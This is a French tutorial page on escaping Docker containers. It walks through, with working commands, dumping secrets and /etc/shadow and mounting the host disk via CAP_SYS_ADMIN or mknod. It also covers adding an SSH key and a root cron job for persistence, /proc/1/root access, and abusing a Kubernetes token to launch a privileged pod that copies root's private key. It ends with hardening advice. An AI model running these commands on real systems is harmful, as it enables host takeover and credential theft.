Skip to content

Docker : évasion de conteneur via les capabilities Linux

Un conteneur Docker n’est pas une machine virtuelle. Il partage le noyau de l’hôte et ne constitue pas une isolation de sécurité si sa configuration laisse des capabilities Linux non restreintes. Être root dans un conteneur avec CAP_SYS_ADMIN revient à être root sur l’hôte.

La confusion entre ces deux technologies est à l’origine de beaucoup de fausses croyances sur la sécurité des conteneurs.

Une machine virtuelle (VMware, VirtualBox, KVM, Hyper-V) émule un matériel complet. Chaque VM tourne un noyau indépendant, isolé du noyau de l’hôte par un hyperviseur. Compromettre une VM ne donne pas accès à l’hôte sans exploiter l’hyperviseur lui-même — une surface d’attaque distincte et bien délimitée.

Un conteneur Docker n’émule rien. Il partage directement le noyau de l’hôte. L’isolation repose sur des mécanismes du noyau Linux : les namespaces (qui cloisonnent la vue des processus, du réseau, des montages…) et les cgroups (qui limitent les ressources consommées). Ces mécanismes isolent les processus mais ne protègent pas contre un processus qui dispose des droits suffisants pour interagir avec le noyau partagé.

┌─────────────────────────────────┐ ┌─────────────────────────────────┐
│ Virtualisation │ │ Conteneurisation │
├────────────┬────────────────────┤ ├────────────┬────────────────────┤
│ App A │ App B │ │ App A │ App B │
├────────────┼────────────────────┤ ├────────────┼────────────────────┤
│ OS invité │ OS invité │ │ │ │
├────────────┴────────────────────┤ │ Noyau hôte partagé │
│ Hyperviseur │ │ │
├─────────────────────────────────┤ ├─────────────────────────────────┤
│ OS hôte / Noyau │ │ OS hôte / Noyau │
└─────────────────────────────────┘ └─────────────────────────────────┘
Noyaux séparés Noyau commun

La conséquence directe : un conteneur avec des droits suffisants peut interagir avec le noyau de l’hôte et sortir de son isolation. Une VM ne le peut pas sans compromettre l’hyperviseur.

« Tant que c’est dans le conteneur, c’est sécurisé. »

C’est faux. Docker isole les processus via des namespaces et des cgroups, mais le noyau est partagé. Les capabilities Linux définissent ce qu’un processus peut faire sur ce noyau commun. Si un conteneur tourne avec des capabilities étendues — notamment CAP_SYS_ADMIN — les protections d’isolation s’effondrent.

La première chose à lire une fois dans le conteneur :

Terminal window
env

Les variables d’environnement contiennent fréquemment des secrets injectés au déploiement : tokens d’API, mots de passe de base de données, clés privées.

DB_PASSWORD=prod_s3cr3t
AWS_ACCESS_KEY_ID=AKIA...
AWS_SECRET_ACCESS_KEY=...
REDIS_URL=redis://:password@redis:6379

Dans un conteneur qui tourne en root sans user namespace remapping :

Terminal window
# Lire les comptes système
cat /etc/passwd
cat /etc/shadow
# Chercher les fichiers de sauvegarde (historique de la version précédente)
ls /etc/passwd- /etc/shadow-

Les fichiers avec le suffixe - sont les sauvegardes créées automatiquement avant chaque modification. Comparer les deux versions pour détecter un changement de mot de passe récent :

Terminal window
diff /etc/shadow /etc/shadow-

Un utilisateur dont le hash diffère entre les deux fichiers a changé son mot de passe récemment. Le hash de l’ancienne version reste dans /etc/shadow- et peut être soumis à un outil de crackage.

Les capabilities définissent les droits fins accordés au conteneur sur le noyau :

Terminal window
capsh --print

Sortie typique d’un conteneur mal configuré :

Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,
cap_kill,cap_setgid,cap_setuid,cap_setpcap,
cap_net_bind_service,cap_net_raw,cap_sys_chroot,
cap_sys_admin,cap_mknod,cap_audit_write,cap_setfcap+eip
Bounding set: [...]

La présence de cap_sys_admin dans la liste est déterminante.

CAP_SYS_ADMIN regroupe une large collection de droits système, dont la possibilité de monter des systèmes de fichiers. Monter le disque de l’hôte dans le conteneur donne accès à l’intégralité du système de fichiers hôte.

Terminal window
fdisk -l
Disk /dev/sda: 50 GiB
Device Boot Start End Sectors Size Type
/dev/sda1 * 2048 1050623 1048576 512M EFI
/dev/sda2 1050624 20971519 19920896 9.5G Linux filesystem
/dev/sda3 20971520 104857566 83886047 40G Linux filesystem

Identifier la partition racine de l’hôte.

Terminal window
# Créer le point de montage
mkdir /tmp/host_system
# Monter la partition racine de l'hôte
mount /dev/sda1 /tmp/host_system
# Se déplacer sur le système de fichiers hôte
cd /tmp/host_system
# Lister l'arborescence hôte
ls -la
drwxr-xr-x 18 root root 4096 jan 15 14:23 .
drwxr-xr-x 3 root root 4096 jan 15 14:23 ..
lrwxrwxrwx 1 root root 7 jan 15 14:23 bin -> usr/bin
drwxr-xr-x 3 root root 4096 jan 15 14:23 boot
drwxr-xr-x 2 root root 4096 jan 15 14:23 etc
drwxr-xr-x 3 root root 4096 jan 15 14:23 home
drwxr-xr-x 2 root root 4096 jan 15 14:23 root
...

Le système de fichiers de l’hôte est maintenant accessible en lecture et écriture.

Terminal window
# Lire les credentials hôte
cat /tmp/host_system/etc/shadow
# Lire les clés SSH des utilisateurs
cat /tmp/host_system/root/.ssh/id_rsa
cat /tmp/host_system/home/ubuntu/.ssh/authorized_keys
# Ajouter sa propre clé publique pour un accès SSH persistant
echo "ssh-rsa AAAA..." >> /tmp/host_system/root/.ssh/authorized_keys
# Lire les variables d'environnement des autres services
cat /tmp/host_system/etc/environment
# Lire les secrets Docker des autres conteneurs
cat /tmp/host_system/var/lib/docker/volumes/...
# Planter un cron sur l'hôte pour exécuter du code
echo "* * * * * root /tmp/shell.sh" >> /tmp/host_system/etc/crontab

L’accès au système de fichiers hôte en écriture constitue une compromission totale de la machine.

fdisk -l sans résultat indique que le cgroup device est correctement configuré — le conteneur n’a pas accès aux périphériques bloc. CAP_SYS_ADMIN est présente, mais l’accès aux disques est bloqué. D’autres vecteurs restent à explorer.

Terminal window
mount | grep -v tmpfs
cat /proc/mounts

Si notify_on_release apparaît dans la liste des montages cgroup, le système de notification de libération de cgroup est actif — un vecteur d’exploitation cgroup classique.

Terminal window
mkdir /tmp/cgroup_mount
mount -t cgroup -o rdma cgroup /tmp/cgroup_mount/

Si la réponse est Permission denied, une protection supplémentaire est en place — AppArmor, Seccomp, ou LSM. Ce vecteur est fermé.

Chercher des répertoires cgroup accessibles en écriture

Section titled “Chercher des répertoires cgroup accessibles en écriture”
Terminal window
find /sys/fs/cgroup -writable -type d 2>/dev/null

Un répertoire accessible en écriture dans /sys/fs/cgroup peut permettre d’écrire dans notify_on_release ou release_agent pour déclencher l’exécution d’un script avec les droits de l’hôte.

Vérifier le PID namespace avec /proc/1/root

Section titled “Vérifier le PID namespace avec /proc/1/root”

Si le conteneur partage le PID namespace de l’hôte, /proc/1/root pointe vers la racine du système de fichiers hôte.

Terminal window
ls -la /proc/1/root/

Un accès en lecture confirme le partage du PID namespace. Avant d’agir, vérifier qu’on est bien sur l’hôte et pas dans un autre conteneur :

Terminal window
# Comparer les hostnames
cat /etc/hostname
cat /proc/1/root/etc/hostname

Si les deux hostnames diffèrent, /proc/1/root appartient à un autre conteneur ou à l’hôte. Si elles sont identiques, le conteneur est l’hôte lui-même.

Accéder au système de fichiers hôte via /proc/1/root

Section titled “Accéder au système de fichiers hôte via /proc/1/root”
Terminal window
# Lister la racine hôte
ls /proc/1/root/
# Lire des fichiers sensibles
cat /proc/1/root/etc/shadow
cat /proc/1/root/root/.ssh/id_rsa

Quand les périphériques bloc ne sont pas visibles via fdisk -l, les chercher autrement.

Terminal window
ls -l /dev | grep -E 'sd|vd|nvme|mapper'
Terminal window
cat /proc/partitions
major minor #blocks name
8 0 244140625 sda
8 1 244140625 sda1

major 8, minor 1 identifient le périphérique bloc sda1.

Si CAP_SYS_ADMIN est présente, mknod permet de créer manuellement un fichier de périphérique bloc même s’il n’existe pas dans /dev :

Terminal window
# Créer le fichier de périphérique (major 8, minor 1)
mknod /tmp/evil_disk b 8 1
# Monter la partition
mkdir /tmp/mnt_host
mount /tmp/evil_disk /tmp/mnt_host
# Accéder au système de fichiers hôte
ls /tmp/mnt_host/
cat /tmp/mnt_host/etc/shadow

Environnement Kubernetes : tokens de service account

Section titled “Environnement Kubernetes : tokens de service account”

Certains conteneurs tournent dans un cluster Kubernetes. Les montages révèlent l’environnement :

Terminal window
mount | grep -v tmpfs

La présence de lignes comme :

/dev/mapper/vg--sdd-lv--rancher on /etc/hostname type ext4 (rw,relatime)
/dev/mapper/vg--sdd-lv--rancher on /etc/resolv.conf type ext4 (rw,relatime)

indique un volume Rancher — le conteneur tourne dans un cluster Kubernetes managé.

Terminal window
ls /var/run/secrets/kubernetes.io/serviceaccount/
# token ca.crt namespace
Terminal window
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
Terminal window
# Lister les pods accessibles
curl -k -s -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods
# Vérifier si la création de pods est autorisée
curl -k -s -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods \
-o /dev/null -w "%{http_code}"

Un code 200 ou 201 confirme que le token a les droits suffisants.

Créer un pod privilégié pour sortir du cluster

Section titled “Créer un pod privilégié pour sortir du cluster”

Si le token permet la création de pods, déployer un pod avec accès au système de fichiers hôte :

Terminal window
cat <<EOF > /tmp/pwn-pod.json
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "escape-pod",
"namespace": "$NAMESPACE"
},
"spec": {
"containers": [
{
"name": "pwn-cnt",
"image": "alpine",
"command": ["/bin/sh", "-c", "cat /mnt/host/root/.ssh/id_rsa > /mnt/host/tmp/key.txt; sleep 1000"],
"volumeMounts": [
{
"mountPath": "/mnt/host",
"name": "host-root"
}
],
"securityContext": {
"privileged": true
}
}
],
"volumes": [
{
"name": "host-root",
"hostPath": {
"path": "/"
}
}
],
"hostPID": true,
"restartPolicy": "Never"
}
}
EOF
curl -k -s \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-X POST \
-d @/tmp/pwn-pod.json \
https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods

Le pod escape-pod monte / de l’hôte dans /mnt/host avec le mode privileged. La commande dans le conteneur exécute ce qu’on lui passe — lecture de fichiers, ajout de clés SSH, installation de backdoors.

Terminal window
# Vérifier l'état du pod
curl -k -s -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods/escape-pod \
| python3 -m json.tool | grep '"phase"'
# Lire les logs
curl -k -s -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods/escape-pod/log

Ne pas faire tourner les conteneurs en root

Section titled “Ne pas faire tourner les conteneurs en root”

Définir un utilisateur non privilégié dans le Dockerfile :

# Créer un utilisateur dédié
RUN groupadd -r appgroup && useradd -r -g appgroup appuser
# Basculer vers cet utilisateur
USER appuser

Ou spécifier l’utilisateur au lancement :

Terminal window
docker run --user 1000:1000 mon-image

Par défaut, Docker accorde un ensemble de capabilities. Les supprimer toutes et n’ajouter que ce qui est strictement nécessaire :

Terminal window
# Supprimer toutes les capabilities par défaut
docker run --cap-drop ALL mon-image
# N'ajouter que ce qui est nécessaire (ex. binding sur port <1024)
docker run --cap-drop ALL --cap-add NET_BIND_SERVICE mon-image

Ne jamais utiliser --privileged en production — cette option donne au conteneur l’accès complet au noyau, équivalent à tourner sans isolation.

Le user namespace remapping fait correspondre le root du conteneur (UID 0) à un utilisateur non privilégié sur l’hôte. Même si un attaquant est root dans le conteneur, il est un utilisateur ordinaire sur l’hôte.

Dans /etc/docker/daemon.json :

{
"userns-remap": "default"
}

Ne pas monter le socket Docker dans les conteneurs

Section titled “Ne pas monter le socket Docker dans les conteneurs”

Monter /var/run/docker.sock dans un conteneur donne le contrôle total du daemon Docker — et donc de l’hôte :

# À ne jamais faire
volumes:
- /var/run/docker.sock:/var/run/docker.sock
Élément détectéImpact
Variables d’environnementSecrets, credentials, tokens
/etc/shadow-Hash du mot de passe précédent
CAP_SYS_ADMIN + disques visiblesMontage direct → accès système de fichiers hôte
CAP_SYS_ADMIN + mknodRecréation du périphérique bloc si /dev filtré
/sys/fs/cgroup accessible en écritureExécution de commandes via release_agent
/proc/1/root accessiblePartage du PID namespace → accès direct à la racine hôte
Token Kubernetes + droits podDéploiement d’un pod privilégié → compromission du nœud
Volumes Rancher/Kubernetes montésIdentification de l’environnement, recherche de tokens
--privilegedAccès complet au noyau
Socket Docker montéContrôle total du daemon Docker

Un conteneur Docker en root avec CAP_SYS_ADMIN n’est pas un périmètre de sécurité. Quand le vecteur évident (fdisk -l) est bloqué, les alternatives restent nombreuses : /proc/1/root, mknod sur un périphérique lu dans /proc/partitions, cgroup writable, ou un token Kubernetes avec droits de création de pods. L’ordre d’exploration va du plus simple au plus contraint — chaque protection contournée ouvre une nouvelle piste.

La sécurité d’un déploiement Docker repose sur l’utilisateur non root, la suppression des capabilities inutiles, le user namespace remapping, et l’absence de montages dangereux. Dans un cluster Kubernetes, restreindre les droits des service accounts et interdire la création de pods privilégiés via les PodSecurity admission policies.